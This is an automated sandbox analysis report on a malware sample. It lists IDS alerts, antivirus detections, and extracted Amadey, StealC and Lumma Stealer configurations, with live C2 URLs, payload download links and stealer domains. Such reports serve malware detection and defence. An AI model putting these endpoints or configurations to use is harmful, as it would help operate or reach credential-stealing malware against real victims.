Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:18.817215+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49879	172.67.139.78	443	TCP
2024-12-09T21:09:38.982442+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49936	104.21.48.1	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:42.584237+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49944	185.215.113.206	80	TCP
2024-12-09T21:09:58.302568+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50004	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:05.209521+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49848	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:13.726517+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49854	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:09.655624+0100	2803305	3	Unknown Traffic	192.168.2.6	49859	31.41.244.11	80	TCP
2024-12-09T21:09:16.795296+0100	2803305	3	Unknown Traffic	192.168.2.6	49874	31.41.244.11	80	TCP
2024-12-09T21:09:25.260013+0100	2803305	3	Unknown Traffic	192.168.2.6	49898	185.215.113.16	80	TCP
2024-12-09T21:09:34.035710+0100	2803305	3	Unknown Traffic	192.168.2.6	49923	185.215.113.16	80	TCP
2024-12-09T21:09:42.435053+0100	2803305	3	Unknown Traffic	192.168.2.6	49945	185.215.113.16	80	TCP
2024-12-09T21:09:49.776192+0100	2803305	3	Unknown Traffic	192.168.2.6	49969	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/6)	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exe_Q	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedM=	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeZP	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiU.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpgRL	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpph	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe;P	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe-P	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 11.2.d0d9725343.exe.400000.1.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["drive-connect.cyou", "se-blurry.biz", "zinc-sneark.biz", "dare-curbys.biz", "formy-spill.biz", "print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "dwell-exclaim.biz"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: impend-differ.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: print-vexer.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: dare-curbys.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: covery-mover.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: formy-spill.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: dwell-exclaim.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: zinc-sneark.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: se-blurry.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: drive-connect.cyou
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: TeslaBrowser/5.5
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: - Screen Resoluton:
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: - Physical Installed Memory:
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: Workgroup: -
Source: 11.2.d0d9725343.exe.400000.1.unpack	String decryptor: FATE99--test

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00416B7E CryptUnprotectData,	11_2_00416B7E
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,	12_2_004035B0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B43817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,	12_2_04B43817

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50074 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00240868 FindFirstFileExW,	8_2_00240868
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00240919 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_00240919
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00240868 FindFirstFileExW,	10_2_00240868
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00240919 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_00240919
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_004176E7 FindFirstFileExW,	12_2_004176E7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_10007EA9 FindFirstFileExW,	12_2_10007EA9
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B5794E FindFirstFileExW,	12_2_04B5794E

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h]	11_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h]	11_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then push eax	11_2_0040C36E
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	11_2_0043DBD0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov edx, ecx	11_2_00409CC0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	11_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov byte ptr [edx], bl	11_2_0040CE55
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h]	11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov byte ptr [esi], al	11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov word ptr [eax], dx	11_2_00417E82
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh	11_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	11_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	11_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	11_2_0042A060
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	11_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov edx, ecx	11_2_0041D074
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov edx, ecx	11_2_0041D087
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov byte ptr [esi], cl	11_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov byte ptr [esi], cl	11_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	11_2_0041597D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov edi, eax	11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov ebx, eax	11_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov ebp, eax	11_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	11_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov word ptr [eax], cx	11_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	11_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov ecx, eax	11_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h	11_2_0040C274
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov eax, dword ptr [00444284h]	11_2_00425230
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	11_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	11_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov edx, ebx	11_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	11_2_0042AAD0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov byte ptr [eax], cl	11_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx ebx, bx	11_2_0042536C
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	11_2_00402B70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov word ptr [ecx], dx	11_2_00427307
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	11_2_00436B20
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	11_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	11_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	11_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then jmp eax	11_2_0042B475
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	11_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	11_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov byte ptr [ebx], al	11_2_0042B4BB
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	11_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	11_2_004345F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch]	11_2_00427653
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	11_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	11_2_0042A630
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h]	11_2_004296D8
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh]	11_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov word ptr [eax], cx	11_2_00421EE0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp al, 2Eh	11_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov word ptr [eax], cx	11_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov edi, eax	11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h	11_2_0041CEA5
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then add ebx, 03h	11_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	11_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h	11_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov ecx, edx	11_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov word ptr [eax], cx	11_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then mov word ptr [ecx], dx	11_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	11_2_0043DFB0

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 190MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49848 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49854
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49868 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49892 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49921 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49916 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.6:55941 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49930 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49936 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49942 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49943 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49944 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49951 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49958 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49960 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49965 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49967 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49973 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49979 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49992 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49994 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50004 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50008 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50013 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50033 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50041 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50050 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50065 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50074 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:50079 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49873 -> 172.67.139.78:443
